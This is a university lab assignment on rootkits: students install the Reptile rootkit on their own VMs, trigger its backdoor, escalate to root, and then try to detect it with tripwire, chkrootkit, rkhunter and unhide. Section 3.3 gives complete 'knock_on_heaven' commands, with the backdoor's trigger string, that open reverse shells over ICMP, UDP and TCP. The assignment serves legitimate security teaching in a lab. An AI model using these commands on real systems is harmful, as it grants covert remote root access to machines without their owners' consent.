

## **Lab Assignment 7**

### Rootkit & Integrity check

#### **1. Objective**

In this lab, you are going to play with an actual rootkit on your VMs and see if you can sneak into the target system (e.g. one of your VMs) without any normal access channel (e.g. ssh, http, https, and so on). You will check to see if you can become a root when you accessed as a normal user. You will learn how the rootkit makes these things happen and how to detect it.

#### **2. Lab Environment**

Install the following packages using Ubuntu package manager on your server VM:

- chkrootkit
- rkhunter
- unhide
- unhide.rb
- tripwire
- wireshark/tshark (wireshark has a GUI interface, and tshark can be invoked from the command line)

#### **3. Lab Tasks**

##### **3.1 Initialize the tripwire database**

In this section you need to use tripwire to make sure the integrity of the file system in your VMs. The initial baseline of tripwire will be used to determine the working clean version of your system. The way to setup the baseline of tripwire is to run the following command as a root.

*tripwire -init*

##### **3.2 Rootkits**

A rootkit is a malicious piece of software operating in stealth mode it is designed in such a way that, once installed, it attempts hide its existence from certain processes or programs, such as ps. A rootkit usually enables privileged mode access to the computer. Usually, a rootkit can't grant itself administrative privileges. It must be installed by someone with rights to modify the operating system or filesystem.

You can try running process monitoring commands (ps, top, htop), and rootkit detection utilities that you have installed (chkrootkit, rkhunter, unhide, and tripwire.) It goes without saying that you should read the documentation of these programs! Not all of them might detect the rootkit. If everything else fails, you should devise your own means for finding it.

The rootkit that we are going to use is “reptile” (<https://github.com/f0rb1dd3n/Reptile>) and the installation process is very simple as mentioned in the reptile github website but you are NOT to use the same version of reptile on the github. You will install and use the reptile that your AIs posted on Canvas. **The AIs have altered the install script to ensure that the rootkit is installed in the default directory path (/lib) that Tripwire measures while creating its baseline hash database.** The rootkit should be installed on your server VM.

Here you are an inside bad guy who wants to help an attacker to get into your server VM.

- 1) Login into your server VM as root.
- 2) Make sure that your server VM is fully updated with the newest kernel and then restart it  
*apt-get update && apt-get upgrade*  
*shutdown -r now*
- 3) Download the reptile tarball from Canvas
- 4) Uncompress it  
*tar xzf reptile.tar.gz*
- 5) Install it as a root  
*cd reptile*  
*sudo ./installer.sh install*

### 3.3 How to use rootkit

Once the rootkit is installed on your server VM:

- 1) Find the file, “knock\_on\_heaven”, and copy it to the client vm.
- 2) Start wireshark/tshark on the server to monitor/capture incoming traffic.
- 3) Log in as root on your client VM, and run command a) below to access the rootkit on your server VM.
  - a) *./knock\_on\_heaven -x icmp -s 192.168.122.188 -t 192.168.122.183 -d "F0rb1dd3n 192.168.122.188 4444" -l*
  - b) *./knock\_on\_heaven -x udp -s 192.168.122.188 -t 192.168.122.183 -p 666 -q 53 -d "F0rb1dd3n 192.168.122.188 4445" -l*
  - c) *./knock\_on\_heaven -x tcp -s 192.168.122.188 -t 192.168.122.183 -p 666 -q 80 -d "F0rb1dd3n 192.168.122.188 4446" -l*
- 4) What is the result of running the command? Use wireshark/tshark data to explain how the rootkit sets up/ implements the backdoor. Use screenshots to capture the wireshark data. In addition, save the Packet Capture Data (pcap) file and submit the screenshots and the pcap file as part of your writeup.
- 5) As stated in 3) execute either command b) or c) and repeat step 4. Compare and contrast the way by which the backdoor is implemented by command a) and either b) or c).

### 3.4. Assuming Root Privileges without sudo

The rootkit provides a command that enables a regular user to assume root/administrative privileges. Log into the server as a regular user, and locate and execute the command that provides this functionality. Take a screenshot of your execution of this command. Demonstrate that you have root privileges without invoking ‘sudo’.

### 3.5 Rootkit Detection

Use the scanning and detection tools (tripwire, chkrootkit, rkhunter, unhide, and unhide.rb) to try to determine the presence of the root kit. For example, you can run the “*tripwire --check*” command to see if you can find any differences after the rootkit has been installed. Does either of these tools provide

information that would enable you to detect the presence of the rootkit? Take screenshots of any evidence that you discover.

#### **4.0 Submission (pdf on Canvas)**

1. How did you determine that the rootkit is installed? Did tripwire find the rootkit? If so, what did tripwire tell you about it? If not, what other tools helped you to find the rootkit? What is the output (screenshot) of the detection?
2. Where is the rootkit installed in the server VM?
3. If you use none of the above tools (tripwire, chkrootkit, rkhunter, unhide, and unhide.rb), how can you find the rootkit and/or detect its existence?
4. Can you disable the backdoor of the rootkit without uninstalling the rootkit or removing it?
5. How can you completely disable the rootkit? Do not use the script that the rootkit provides.